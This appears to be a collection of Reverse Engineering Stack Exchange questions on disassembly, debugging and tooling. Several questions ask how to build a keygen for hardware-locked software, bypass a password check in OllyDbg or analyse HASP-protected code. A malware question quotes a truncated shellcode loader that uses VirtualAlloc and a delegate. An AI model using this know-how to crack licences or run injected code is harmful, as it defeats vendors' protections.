+Which doesn't seem too helpful! :/ +EDIT 1: +As per advice from user Ian Cook I've decoded the data from base64 into the following (as hex dump): +BB 3F 80 0A 01 00 10 01 0B 80 3E 04 42 01 16 00 A5 78 9B 19 DE A5 F9 A1 C4 A0 90 C4 09 CA 54 D6 87 84 A4 57 3C 8B 26 00 7E 51 8D 79 89 57 4B BE 59 39 AB BE 0C 82 2B 17 2B 69 E8 63 A3 F6 5E 29 C1 63 92 C5 D0 64 47 8E 8E EE 21 2C DB FF 30 00 7D 28 0E F0 C3 5E 15 73 49 DD 60 F0 7B 74 35 E8 5D 37 B1 BB 17 16 D0 98 3F 76 23 20 74 7E 62 8D 68 5E D3 60 A1 E3 C2 97 F3 AA 89 65 81 72 65 5F 35 00 7E FA A8 28 21 F4 05 E5 88 C7 72 58 48 16 4C C6 D1 0F AC 4C 5F 7E D6 24 02 EB 5E 54 A7 C7 29 88 96 84 AA D8 A1 B0 5C 27 0C 5F 34 22 49 02 2B 70 B5 4D 7E A7 4D 24 00 82 96 E1 4E 21 12 8F 9A E8 14 BE C2 D9 9A 70 F4 E1 7D 31 86 90 2E 36 4C 09 10 22 B8 B7 9D 4C 04 E5 8D 58 99 42 00 80 F2 66 52 70 58 8E 39 10 F4 E3 04 1E B2 2B 21 8E 72 5B BD EA A0 55 D8 C8 45 02 1D 5D D8 9E D6 0D 9C 1E E9 8C 4E 56 EF C1 1A 41 9C BA BF 6A 4C FF 39 65 17 E3 00 DA 22 43 14 2B 5A FA 68 1C 50 45 07 2D 00 7D 7E A4 F1 7B DB 4B 0A E4 DA 75 00 10 FD CF EA 47 26 5C E4 4A 50 D2 9E BB C1 C3 9C E5 1F 95 0A AD 03 90 24 91 38 AE 9F BE DF 66 BA A7 8A 62 1F 5A +I'm still at a loss as to what this information is - I've tried converting it to a wav file using ffmpeg (assuming is pcm) but it still comes out as white noise. +EDIT 2: +So it's occurred to me that it might help if I include more samples of the data - the decoded hex of the data can be found here (each sample separated by a new line character): +pastebin +I've noticed that each one seems to start with the following hex: +BB 3F 80 0A 01 00 10 01 0B 80 3E 04 +Which translates to: +»?€ +�€> +I'm still at a loss as to how to convert this to audio data. +EDIT 3: +I've uploaded some more datadumps to the following pastebin (More data), it's not a full dump as it's roughly 15mb and pastebin crashed when I was trying to paste! +The data file is a dota2 demo file (extension .dem) which is a collection of protobuf messages that I parse using GoLang and the Manta replay parse (found here). This allows me to pull out any type of message, and I select OnCSVCMsg_VoiceData, which returns m.Audio.VoiceData of the form: CSVCMsg_VoiceData (the struct I display above). +EDIT 4 +Here's (finally) the link to the file with the concatenated voiceData messages. +And here's the link to the original file of protobuff messages +" +"['c++', 'disassemblers']"," Title: Variable location addressBody: There is variable in data section: +
.data:00427000 dword_427000    dd 64h
+
+Base address of code is: +
.text:00411000 ; Segment type: Pure code
+
+How to calculate actual address and location in memory of this variable, for to usage with C++ OpenProcess and ReadProcessMemory? +Thanks in advance. +" +"['ghidra', 'bin-diffing', 'tool-bindiff']"," Title: Compare ELF files using Ghidra+Bindiff based on dwarf debug infoBody: So this is a question not strictly about reverse engineering, but since there are many people using Ghidra and Bindiff here I'll try asking anyway. +I have an embedded ARM cortex-M C++ project and I want to compare the generated ELF file for two different compilers. +I used these instructions for exported data from Ghidra to Bindiff: https://reverseengineering.stackexchange.com/a/24636/34300 +I built the ELF files with debuginfo. I was hoping that Ghidra and Bindiff would use the debuginfo for identifying functions, but it looks like that's not the case. For roughly 100 out of 700 functions the tools were not able to match the old and new functions. +I did some experiments on my own where I wrote some simple implementations for strcat and strcpy and then switched names, but then Ghidra and Bindiff was able to see that the assembly has changed, i.e. it did not just try to match functions based on the content. So it's not the case that Ghidra + Bindiff always ignores the function names. + +Is what I'm seeing the expected behavior? That Bindiff does uses its own heuristics rather than trusting the debuginfo when finding functions for comparisons? +If so: Is there a way to force Ghidra and Bindiff to trust the dwarf information when finding functions? +
+Update: The Bindiff manual lists a number of algorithms that are used for function matching. There is a configuration files .bindiff/bindiff.xml where you can modify the confidence levels between 0.0 and 1.0. +It looks like name hash matching is what I want and that I probably want to lower confidence in the other algorithms. +Though I guess just looking at each function in isolation is kind of naive given that compilers can change their inline choices between releases: +" +"['arm', 'gdb', 'thumb2']"," Title: Setting Breakpoints on Thumb Instructions in GDBBody: I'm practicing reversing a stripped arm binary, and found that when I set a breakpoint at say 0x010451, and run the program, gdb spins forever until I hit ctrl+c. When I do, the current pc is at the address, but I can't continue the program. +When I set the breakpoint to 0x010450, gdb hits the breakpoint fine, but the instructions are being decoded as non-thumb instructions. +Is this expected? A bug? I will try to upload examples later today. +Version info (under qemu usermode emulation): +
debian@debian-arm:~/lab$ gdb --version
+GNU gdb (Debian 8.2.1-2+b3) 8.2.1
+Copyright (C) 2018 Free Software Foundation, Inc.
+License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
+This is free software: you are free to change and redistribute it.
+There is NO WARRANTY, to the extent permitted by law.
+debian@debian-arm:~/lab$ uname -a
+Linux debian-arm 4.19.0-10-armmp-lpae #1 SMP Debian 4.19.132-1 (2020-07-24) armv7l GNU/Linux
+
+" +['disassembly']," Title: Decypher hw key generation processBody: This one is kinda tricky question, as it sounds a bit shady, I am well aware of that. Let me first explain the situation. I have this special software designed to read paired industrial sensors from afar. It's paid software coming with those sensors. It contains key-response activation process, where the key generated is a string based on hw and response another string delivered by the maker. What happened here is that I activated it in the office, while my laptop was in a dock, so it runs nicely there. But when I run it again without a dock, new ID is computed and sw asks for a new response. Connect back to the dock, runs nicely again. Thing is, I do not need to run it in the office, obviously. So I usually run it in the office first, disconnecting laptop from the dock afterwards, which way I can use it on the go. But when I am in the field and need to restart the computer or I simply forget to run it in the office first, I lose access to the sw. Manufacturer do not have any direct customer support, it's supposed to be provided through selling channels/partners but they are mostly salesmen and only technical support comes for sensors, not the reading software activation. They were kinda confused with the issue, maybe not even fully understand it and said I need to buy a whole solution again. That's a bit absurd request, sorry. Should I really replace hundreds of sensors to make the reading sw running on un-docked laptop?? +The software is a bit old and frankly quite shitty. The key seems to be computed from either physical screen resolution or NIC mac address, didn't pinpoint which one exactly but how it depends on the dock one of those seems probable. So, what I basically need is to help to understand the generation process and build a keygen for that. A bit of thin ice, hopefully I do not break any forum rules here. Would someone have any recommendations where to start..? +" +"['disassembly', 'debugging']"," Title: are address for instructions specified during compilation?Body: when following certain youtube tutorials, the address in memory for the instructions are same in my machine and the youtuber's machine. How is that possible? Are instructions provided with memory address during compilation? If so then, there are only limited numbers of memory addresses in a machine, if 2 compiled programs are given the same address, what happens then? +" +"['ida', 'windows', 'malware', '.net']"," Title: Structure of operand bytes in .NET call and data access IL instructions?Body: I tried googling but couldn't find any good source that explains the structure of memory access instructions like ldstr and call instructions +for example based on experience, the last byte of API/library call instructions is always 0x0A (let me know if I'm wrong), but why? what are the structure of the 4 bytes of call operands? what about operands of ldstr instructions? +because they are different from native apps, they are not raw offsets, they seem to be offsets into a table but i cannot find any post that explains this in detail? +the best thing i found is this : +https://www.red-gate.com/simple-talk/blogs/anatomy-of-a-net-assembly-clr-metadata-1/ +but it still doesn't explain many things +" +['ollydbg']," Title: finding best way to bypassing password check processBody: i am working to openning or bypassing a password . at first there is a password with 8 chracters ( letter,number , sign) that i attached a picture of password requst window i opened it by ollydbg and at first sete a bp on GetWindowsTextA and after i enterd worng password and checked out all code and all jumps and wrote comments in front of every jump that i will explain they in following and seted a bp on every jump that it did do +in second step +i entered correct pass and i checked out all code and all jumps and wrote comments in front of every jump that i will explain they in following and seted a bp on every jump that it did do +so there are many diffrents between them that i will attached a screen shot of bps +so whats your idea ? how i can bypassing the password process? +
              * : if the JMP did  do when  entered worng pass 
+              Q : if JMP didnot  do when enterd worng pass
+
+              + : if the JMP did  do when  entered correct pass 
+              R : if the JMP didnot  do when  entered correct pass
+
+ + + +" +['assembly']," Title: Need help to understand this assembly for fibonacci seqBody: I understand the assembly properly. I am just confused about variable 'b' and 'c'. It looks like b is stored at 12(%ebp). I conclude this from cmp 12(%ebp), %eax. If you look at func_8048516, it is adding -0x4(%ebp) which is 'i' and 12(%ebp) which is b. It should translate into a=b+i in the source code but it's a=c+i. Can anyone explain this? + + +" +"['ida', 'disassembly', 'arm']"," Title: What is the meaning of ARM LDAXR/STLXR instructions?Body: Often while disassembling ARM files, I see some code snippet with the following pattern: +
loc_BB30:
+.text:C0 FE 5F 88 LDAXR           WZR, W0, [X22]
+.text:00 04 00 51 SUB             W0, W0, #1
+.text:C0 FE 01 88 STLXR           W1, W0, [X22]
+.text:A1 FF FF 35 CBNZ            W1, loc_BB30
+
+Which is translated to the following decompile code: +
  do
+  {
+    v2 = __ldaxr((unsigned int *)v1);
+    v1 = (unsigned int)(v1 - 1);
+  }
+  while ( __stlxr(v1, v3) );
+
+What is the meaning of this code? What kind of c code actually produces this kind of snippet? +" +"['ida', 'disassembly', 'memory', 'static-analysis', 'c166']"," Title: The C166 family code meaningBody: What the meaning of this code with an explanation? +
sub_37C2:
+mov     r5, r4
+shr     r5, #14
+shl     r5, #1
+mov     r5, [r5+0FE00h] ; DPP0
+bmov    r4.14, r5.0
+bmov    r4.15, r5.1
+shr     r5, #2
+rets
+; End of function sub_37C2
+
+" +"['disassembly', 'binary-analysis', 'c']"," Title: Difference between Main and EntryBody: Sometimes, I see while disassembling a binary that there is the main function. but sometimes, instead of main, there is entry function. +I want to know what is the difference between entry and main. +" +['radare2']," Title: No instruction in main function when debugging with winedbgBody: I'v try to debugging windows PE file under Linux. +
winedbg --gdb --no-start a.exe                                                  ─╯
+00bc:00c0: create process 'Z:\home\coolder\a.exe'/0x1106b8 @0x4014c0 (83456<1315>)
+00bc:00c0: create thread I @0x4014c0
+target remote localhost:59889
+
+
+And use radare2 to connect to it. +
r2 -e dbg.exe.path=./a.exe -d gdb://localhost:59889                             ─╯
+= attach 192 1
+= attach 192 0
+WARNING: (dwarf_process.c:902):map_dwarf_reg_to_x86_reg: code should not be reached
+ -- Don't wait for Travis
+[0x0061fefc]> 
+
+
[0x000015e0]> pd 3
+            ;-- main:
+            ;-- _main:
+            0x000015e0      ff             invalid
+            0x000015e1      ff             invalid
+            0x000015e2      ff             invalid
+
+Why there's nothing in main funtion? +I have used 'aaa' to analyze. +But when I use 'dc', the program runs correctly. +How to fix it? +" +"['ida', 'packers']"," Title: Packer changed memory in IDA?Body: I'm trying to analyze one binary protected by HASP. Since it is pretty old binary (2008) I managed to run it in IDA and it unpacked in memory. When I do tracing + take memory snapshot and reanalyze it, the view of functions I get does not make any sense. + +How is it possible that instructions are skipped? Am I doing something wrong here? +" +"['disassembly', 'assembly', 'register']"," Title: How to find if a function is using registers as parameters?Body: The disassembly of the function Winload!CmpFindNlsData whose prototype I'm trying to construct +
00893c10 8bff            mov     edi,edi
+00893c12 55              push    ebp
+00893c13 8bec            mov     ebp,esp
+00893c15 83ec40          sub     esp,40h
+00893c18 53              push    ebx
+00893c19 56              push    esi
+00893c1a 57              push    edi
+00893c1b 8d45e0          lea     eax,[ebp-20h]
+00893c1e 8bf1            mov     esi,ecx
+00893c20 50              push    eax
+00893c21 33db            xor     ebx,ebx
+00893c23 8975ec          mov     dword ptr [ebp-14h],esi
+00893c26 83cfff          or      edi,0FFFFFFFFh
+00893c29 895dcc          mov     dword ptr [ebp-34h],ebx
+00893c2c 52              push    edx
+00893c2d 56              push    esi
+00893c2e 897dc8          mov     dword ptr [ebp-38h],edi
+00893c31 897dd0          mov     dword ptr [ebp-30h],edi
+00893c34 895dd4          mov     dword ptr [ebp-2Ch],ebx
+00893c37 897de0          mov     dword ptr [ebp-20h],edi
+00893c3a 895de4          mov     dword ptr [ebp-1Ch],ebx
+00893c3d 897dc0          mov     dword ptr [ebp-40h],edi
+00893c40 895dc4          mov     dword ptr [ebp-3Ch],ebx
+00893c43 895de8          mov     dword ptr [ebp-18h],ebx
+00893c46 ff5604          call    dword ptr [esi+4]
+00893c49 85c0            test    eax,eax
+00893c4b 0f845d010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893c51 8d4df4          lea     ecx,[ebp-0Ch]
+00893c54 8bd0            mov     edx,eax
+00893c56 51              push    ecx
+00893c57 68b8208e00      push    offset winload!CmpControlString (008e20b8)
+00893c5c 8bce            mov     ecx,esi
+00893c5e e869510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)
+00893c63 8d45e0          lea     eax,[ebp-20h]
+00893c66 50              push    eax
+00893c67 56              push    esi
+00893c68 ff5608          call    dword ptr [esi+8]
+00893c6b 397df4          cmp     dword ptr [ebp-0Ch],edi
+00893c6e 0f843a010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893c74 8d45e0          lea     eax,[ebp-20h]
+00893c77 50              push    eax
+00893c78 ff75f4          push    dword ptr [ebp-0Ch]
+00893c7b 56              push    esi
+00893c7c ff5604          call    dword ptr [esi+4]
+00893c7f 85c0            test    eax,eax
+00893c81 0f8427010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893c87 8d4df4          lea     ecx,[ebp-0Ch]
+00893c8a 8bd0            mov     edx,eax
+00893c8c 51              push    ecx
+00893c8d 68f8208e00      push    offset winload!CmpNlsString (008e20f8)
+00893c92 8bce            mov     ecx,esi
+00893c94 e833510000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)
+00893c99 8d45e0          lea     eax,[ebp-20h]
+00893c9c 50              push    eax
+00893c9d 56              push    esi
+00893c9e ff5608          call    dword ptr [esi+8]
+00893ca1 397df4          cmp     dword ptr [ebp-0Ch],edi
+00893ca4 0f8404010000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893caa 8d45e0          lea     eax,[ebp-20h]
+00893cad 50              push    eax
+00893cae ff75f4          push    dword ptr [ebp-0Ch]
+00893cb1 56              push    esi
+00893cb2 ff5604          call    dword ptr [esi+4]
+00893cb5 85c0            test    eax,eax
+00893cb7 0f84f1000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893cbd 8d4df4          lea     ecx,[ebp-0Ch]
+00893cc0 8bd0            mov     edx,eax
+00893cc2 51              push    ecx
+00893cc3 6808218e00      push    offset winload!CmpCodePageString (008e2108)
+00893cc8 8bce            mov     ecx,esi
+00893cca e8fd500000      call    winload!CmpFindSubKeyByNameWithStatus (00898dcc)
+00893ccf 8d45e0          lea     eax,[ebp-20h]
+00893cd2 50              push    eax
+00893cd3 56              push    esi
+00893cd4 ff5608          call    dword ptr [esi+8]
+00893cd7 397df4          cmp     dword ptr [ebp-0Ch],edi
+00893cda 0f84ce000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893ce0 8d45e0          lea     eax,[ebp-20h]
+00893ce3 50              push    eax
+00893ce4 ff75f4          push    dword ptr [ebp-0Ch]
+00893ce7 56              push    esi
+00893ce8 ff5604          call    dword ptr [esi+4]
+00893ceb 85c0            test    eax,eax
+00893ced 0f84bb000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893cf3 6870228e00      push    offset winload!CmpAcpString (008e2270)
+00893cf8 8bd0            mov     edx,eax
+00893cfa 8bce            mov     ecx,esi
+00893cfc e885330000      call    winload!CmpFindValueByName (00897086)
+00893d01 8bf8            mov     edi,eax
+00893d03 8d45e0          lea     eax,[ebp-20h]
+00893d06 50              push    eax
+00893d07 56              push    esi
+00893d08 ff5608          call    dword ptr [esi+8]
+00893d0b 83ffff          cmp     edi,0FFFFFFFFh
+00893d0e 0f849a000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893d14 8d45d0          lea     eax,[ebp-30h]
+00893d17 50              push    eax
+00893d18 57              push    edi
+00893d19 56              push    esi
+00893d1a ff5604          call    dword ptr [esi+4]
+00893d1d 85c0            test    eax,eax
+00893d1f 0f8489000000    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893d25 8d4dc8          lea     ecx,[ebp-38h]
+00893d28 8bd7            mov     edx,edi
+00893d2a 51              push    ecx
+00893d2b 8d4df8          lea     ecx,[ebp-8]
+00893d2e 51              push    ecx
+00893d2f 50              push    eax
+00893d30 8bce            mov     ecx,esi
+00893d32 e8c7340000      call    winload!CmpValueToData (008971fe)
+00893d37 8bf8            mov     edi,eax
+00893d39 8d45d0          lea     eax,[ebp-30h]
+00893d3c 50              push    eax
+00893d3d 56              push    esi
+00893d3e 897ddc          mov     dword ptr [ebp-24h],edi
+00893d41 ff5608          call    dword ptr [esi+8]
+00893d44 85ff            test    edi,edi
+00893d46 7466            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893d48 8b55f8          mov     edx,dword ptr [ebp-8]
+00893d4b 33c9            xor     ecx,ecx
+00893d4d 33c0            xor     eax,eax
+00893d4f 668955da        mov     word ptr [ebp-26h],dx
+00893d53 66894dd8        mov     word ptr [ebp-28h],cx
+00893d57 c745f002000000  mov     dword ptr [ebp-10h],2
+00893d5e 663bc2          cmp     ax,dx
+00893d61 731d            jae     winload!CmpFindNLSData+0x170 (00893d80)
+00893d63 8b75f0          mov     esi,dword ptr [ebp-10h]
+00893d66 0fb7c1          movzx   eax,cx
+00893d69 d1e8            shr     eax,1
+00893d6b 66391c47        cmp     word ptr [edi+eax*2],bx
+00893d6f 740c            je      winload!CmpFindNLSData+0x16d (00893d7d)
+00893d71 6603ce          add     cx,si
+00893d74 66894dd8        mov     word ptr [ebp-28h],cx
+00893d78 663bca          cmp     cx,dx
+00893d7b 72e9            jb      winload!CmpFindNLSData+0x156 (00893d66)
+00893d7d 8b75ec          mov     esi,dword ptr [ebp-14h]
+00893d80 8b5d08          mov     ebx,dword ptr [ebp+8]
+00893d83 6a36            push    36h
+00893d85 58              pop     eax
+00893d86 663907          cmp     word ptr [edi],ax
+00893d89 750c            jne     winload!CmpFindNLSData+0x187 (00893d97)
+00893d8b c745e801000000  mov     dword ptr [ebp-18h],1
+00893d92 e992000000      jmp     winload!CmpFindNLSData+0x219 (00893e29)
+00893d97 8d45e0          lea     eax,[ebp-20h]
+00893d9a 50              push    eax
+00893d9b ff75f4          push    dword ptr [ebp-0Ch]
+00893d9e 56              push    esi
+00893d9f ff5604          call    dword ptr [esi+4]
+00893da2 85c0            test    eax,eax
+00893da4 7513            jne     winload!CmpFindNLSData+0x1a9 (00893db9)
+00893da6 8d45c8          lea     eax,[ebp-38h]
+00893da9 50              push    eax
+00893daa 56              push    esi
+00893dab ff5608          call    dword ptr [esi+8]
+00893dae 32c0            xor     al,al
+00893db0 5f              pop     edi
+00893db1 5e              pop     esi
+00893db2 5b              pop     ebx
+00893db3 8be5            mov     esp,ebp
+00893db5 5d              pop     ebp
+00893db6 c20c00          ret     0Ch
+00893db9 8d4dd8          lea     ecx,[ebp-28h]
+00893dbc 8bd0            mov     edx,eax
+00893dbe 51              push    ecx
+00893dbf 8bce            mov     ecx,esi
+00893dc1 e8c0320000      call    winload!CmpFindValueByName (00897086)
+00893dc6 8bf8            mov     edi,eax
+00893dc8 8d45c8          lea     eax,[ebp-38h]
+00893dcb 50              push    eax
+00893dcc 56              push    esi
+00893dcd ff5608          call    dword ptr [esi+8]
+00893dd0 33c0            xor     eax,eax
+00893dd2 8945dc          mov     dword ptr [ebp-24h],eax
+00893dd5 8d45e0          lea     eax,[ebp-20h]
+00893dd8 50              push    eax
+00893dd9 56              push    esi
+00893dda ff5608          call    dword ptr [esi+8]
+00893ddd 83ffff          cmp     edi,0FFFFFFFFh
+00893de0 74cc            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893de2 8d45d0          lea     eax,[ebp-30h]
+00893de5 50              push    eax
+00893de6 57              push    edi
+00893de7 56              push    esi
+00893de8 ff5604          call    dword ptr [esi+4]
+00893deb 85c0            test    eax,eax
+00893ded 74bf            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893def 8d4dc0          lea     ecx,[ebp-40h]
+00893df2 8bd7            mov     edx,edi
+00893df4 51              push    ecx
+00893df5 8d4df8          lea     ecx,[ebp-8]
+00893df8 51              push    ecx
+00893df9 50              push    eax
+00893dfa 8bce            mov     ecx,esi
+00893dfc e8fd330000      call    winload!CmpValueToData (008971fe)
+00893e01 894304          mov     dword ptr [ebx+4],eax
+00893e04 85c0            test    eax,eax
+00893e06 7408            je      winload!CmpFindNLSData+0x200 (00893e10)
+00893e08 8d45c0          lea     eax,[ebp-40h]
+00893e0b 50              push    eax
+00893e0c 56              push    esi
+00893e0d ff5608          call    dword ptr [esi+8]
+00893e10 8d45d0          lea     eax,[ebp-30h]
+00893e13 50              push    eax
+00893e14 56              push    esi
+00893e15 ff5608          call    dword ptr [esi+8]
+00893e18 33c0            xor     eax,eax
+00893e1a 394304          cmp     dword ptr [ebx+4],eax
+00893e1d 748f            je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e1f 8b45f8          mov     eax,dword ptr [ebp-8]
+00893e22 66894302        mov     word ptr [ebx+2],ax
+00893e26 668903          mov     word ptr [ebx],ax
+00893e29 8d45e0          lea     eax,[ebp-20h]
+00893e2c 50              push    eax
+00893e2d ff75f4          push    dword ptr [ebp-0Ch]
+00893e30 56              push    esi
+00893e31 ff5604          call    dword ptr [esi+4]
+00893e34 85c0            test    eax,eax
+00893e36 0f8472ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e3c 6848228e00      push    offset winload!CmpOemCpString (008e2248)
+00893e41 8bd0            mov     edx,eax
+00893e43 8bce            mov     ecx,esi
+00893e45 e83c320000      call    winload!CmpFindValueByName (00897086)
+00893e4a 8bf8            mov     edi,eax
+00893e4c 8d45e0          lea     eax,[ebp-20h]
+00893e4f 50              push    eax
+00893e50 56              push    esi
+00893e51 ff5608          call    dword ptr [esi+8]
+00893e54 83ffff          cmp     edi,0FFFFFFFFh
+00893e57 0f8451ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e5d 8d45d0          lea     eax,[ebp-30h]
+00893e60 50              push    eax
+00893e61 57              push    edi
+00893e62 56              push    esi
+00893e63 ff5604          call    dword ptr [esi+4]
+00893e66 85c0            test    eax,eax
+00893e68 0f8440ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e6e 8d4dc8          lea     ecx,[ebp-38h]
+00893e71 8bd7            mov     edx,edi
+00893e73 51              push    ecx
+00893e74 8d4df8          lea     ecx,[ebp-8]
+00893e77 51              push    ecx
+00893e78 50              push    eax
+00893e79 8bce            mov     ecx,esi
+00893e7b e87e330000      call    winload!CmpValueToData (008971fe)
+00893e80 8bf8            mov     edi,eax
+00893e82 8d45d0          lea     eax,[ebp-30h]
+00893e85 50              push    eax
+00893e86 56              push    esi
+00893e87 897ddc          mov     dword ptr [ebp-24h],edi
+00893e8a ff5608          call    dword ptr [esi+8]
+00893e8d 85ff            test    edi,edi
+00893e8f 0f8419ffffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893e95 8b55f8          mov     edx,dword ptr [ebp-8]
+00893e98 33c9            xor     ecx,ecx
+00893e9a 33c0            xor     eax,eax
+00893e9c 668955da        mov     word ptr [ebp-26h],dx
+00893ea0 66894dd8        mov     word ptr [ebp-28h],cx
+00893ea4 663bc2          cmp     ax,dx
+00893ea7 7322            jae     winload!CmpFindNLSData+0x2bb (00893ecb)
+00893ea9 8b75f0          mov     esi,dword ptr [ebp-10h]
+00893eac 33db            xor     ebx,ebx
+00893eae 0fb7c1          movzx   eax,cx
+00893eb1 d1e8            shr     eax,1
+00893eb3 66391c47        cmp     word ptr [edi+eax*2],bx
+00893eb7 740c            je      winload!CmpFindNLSData+0x2b5 (00893ec5)
+00893eb9 6603ce          add     cx,si
+00893ebc 66894dd8        mov     word ptr [ebp-28h],cx
+00893ec0 663bca          cmp     cx,dx
+00893ec3 72e9            jb      winload!CmpFindNLSData+0x29e (00893eae)
+00893ec5 8b75ec          mov     esi,dword ptr [ebp-14h]
+00893ec8 8b5d08          mov     ebx,dword ptr [ebp+8]
+00893ecb 6a36            push    36h
+00893ecd 58              pop     eax
+00893ece 663907          cmp     word ptr [edi],ax
+00893ed1 8b7d0c          mov     edi,dword ptr [ebp+0Ch]
+00893ed4 0f8496000000    je      winload!CmpFindNLSData+0x360 (00893f70)
+00893eda 8d45e0          lea     eax,[ebp-20h]
+00893edd 50              push    eax
+00893ede ff75f4          push    dword ptr [ebp-0Ch]
+00893ee1 56              push    esi
+00893ee2 ff5604          call    dword ptr [esi+4]
+00893ee5 85c0            test    eax,eax
+00893ee7 0f84b9feffff    je      winload!CmpFindNLSData+0x196 (00893da6)
+00893eed 8d4dd8          lea     ecx,[ebp-28h]
+00893ef0 8bd0            mov     edx,eax
+00893ef2 51              push    ecx
+00893ef3 8bce            mov     ecx,esi
+00893ef5 e88c310000      call    winload!CmpFindValueByName (00897086)
+00893efa 894508          mov     dword ptr [ebp+8],eax
+00893efd 8d45c8          lea     eax,[ebp-38h]
+00893f00 50              push    eax
+00893f01 56              push    esi
+00893f02 ff5608          call    dword ptr [esi+8]
+00893f05 8d45e0          lea     eax,[ebp-20h]
+00893f08 50              push    eax
+00893f09 56              push    esi
+00893f0a ff5608          call    dword ptr [esi+8]
+00893f0d 8b4508          mov     eax,dword ptr [ebp+8]
+00893f10 83f8ff          cmp     eax,0FFFFFFFFh
+00893f13 0f8495feffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893f19 8d4dd0          lea     ecx,[ebp-30h]
+00893f1c 51              push    ecx
+00893f1d 50              push    eax
+00893f1e 56              push    esi
+00893f1f ff5604          call    dword ptr [esi+4]
+00893f22 85c0            test    eax,eax
+00893f24 0f8484feffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893f2a 8b5508          mov     edx,dword ptr [ebp+8]
+00893f2d 8d4dc0          lea     ecx,[ebp-40h]
+00893f30 51              push    ecx
+00893f31 8d4df8          lea     ecx,[ebp-8]
+00893f34 51              push    ecx
+00893f35 50              push    eax
+00893f36 8bce            mov     ecx,esi
+00893f38 e8c1320000      call    winload!CmpValueToData (008971fe)
+00893f3d 894704          mov     dword ptr [edi+4],eax
+00893f40 85c0            test    eax,eax
+00893f42 7408            je      winload!CmpFindNLSData+0x33c (00893f4c)
+00893f44 8d45c0          lea     eax,[ebp-40h]
+00893f47 50              push    eax
+00893f48 56              push    esi
+00893f49 ff5608          call    dword ptr [esi+8]
+00893f4c 8d45d0          lea     eax,[ebp-30h]
+00893f4f 50              push    eax
+00893f50 56              push    esi
+00893f51 ff5608          call    dword ptr [esi+8]
+00893f54 33c9            xor     ecx,ecx
+00893f56 394f04          cmp     dword ptr [edi+4],ecx
+00893f59 0f844ffeffff    je      winload!CmpFindNLSData+0x19e (00893dae)
+00893f5f 8b45f8          mov     eax,dword ptr [ebp-8]
+00893f62 66894702        mov     word ptr [edi+2],ax
+00893f66 668907          mov     word ptr [edi],ax
+00893f69 394de8          cmp     dword ptr [ebp-18h],ecx
+00893f6c 7412            je      winload!CmpFindNLSData+0x370 (00893f80)
+00893f6e eb02            jmp     winload!CmpFindNLSData+0x362 (00893f72)
+00893f70 33c9            xor     ecx,ecx
+00893f72 33c0            xor     eax,eax
+00893f74 894b04          mov     dword ptr [ebx+4],ecx
+00893f77 668903          mov     word ptr [ebx],ax
+00893f7a 894f04          mov     dword ptr [edi+4],ecx
+00893f7d 668907          mov     word ptr [edi],ax
+00893f80 8b4d10          mov     ecx,dword ptr [ebp+10h]
+00893f83 b001            mov     al,1
+00893f85 6a14            push    14h
+00893f87 5a              pop     edx
+00893f88 c741044c1a8e00  mov     dword ptr [ecx+4],offset winload!`string' (008e1a4c)
+00893f8f 66895102        mov     word ptr [ecx+2],dx
+00893f93 668911          mov     word ptr [ecx],dx
+00893f96 e915feffff      jmp     winload!CmpFindNLSData+0x1a0 (00893db0)
+00893f9b cc              int     3```
+
+" +"['malware', '.net']"," Title: Disassemble and debug dynamic generated code executed via delegate in c#Body: I'm trying to reverse engeneer a malware using dnSpy that at some point do this: +
delegate IntPtr H7IREAEBYY(string path, IntPtr data);
+byte[] array = new byte[]
+        { 233, 151, ... }
+
+IntPtr value = IntPtr.Zero;
+IntPtr intPtr = W47PO0IHP8.VirtualAlloc(IntPtr.Zero, (uint)array.Length, 12288U, 64U);
+Marshal.Copy(array, 0, intPtr, array.Length);
+        W47PO0IHP8.H7IREAEBYY h7IREAEBYY = (W47PO0IHP8.H7IREAEBYY)Marshal.GetDelegateForFunctionPointer(intPtr, typeof(W47PO0IHP8.H7IREAEBYY));
+h7IREAEBYY(path, intPtr2);  
+
+When the delegate is executed the debugger step over the delegate and i can't analyze such code, how can i analyze or disassemble the code in the array that is executed through a delegate? +" +"['ida', 'idapython', 'idapro-sdk', 'ida-plugin']"," Title: Get a networkx graph from the the function call-graph of the file using IDApython?Body: Is there any easy way to get a function call graph of a binary program using IDApython then convert it to a networkx graph other than going through every function and constructing the call-graph ourselves? +Basically i want to have a call graph that i can tell which nodes are library calls and which are locals, and not including functions that are called by libraries ( so i dont go deep into nested library functions calling each other) +i tried gen_simple_call_chart() but there are two big problems : +
    +
  1. there is no difference between library nodes and local nodes in the generated DOT file (no color or anything) +
  2. +
  3. CHART_IGNORE_LIB_FROM doesnt work, i dont want to include nodes that are called by library calls :( +
  4. +
+For example all the nodes are black no matter library or local : +
"205" [ label = "sub_40AF20", pencolor = black ];
+"206" [ label = "ShellExecuteW", pencolor = black ];
+
+" +['radare2']," Title: Running radare command on each line of the output of another commandBody: Say, I have a command in radare which produces multiple input, say afl. I can run it and extract many addresses: +
[0x5579ca2e2196]> afl~[0]
+0x5579ca2e2060
+0x5579ca2e4fe0
+0x5579ca2e2090
+0x5579ca2e20c0
+0x5579ca2e2100
+
+How do I do run another command on each of those addresses? Let's say I want to print first byte of each of them or set a breakpoint with db on each address. +I read about iteration, but it looks like it only works on flags with something like sym.*, but not on arbitrary outputs, so I can't do this: +
p8 1 @@ `some command which produces many addresses`
+
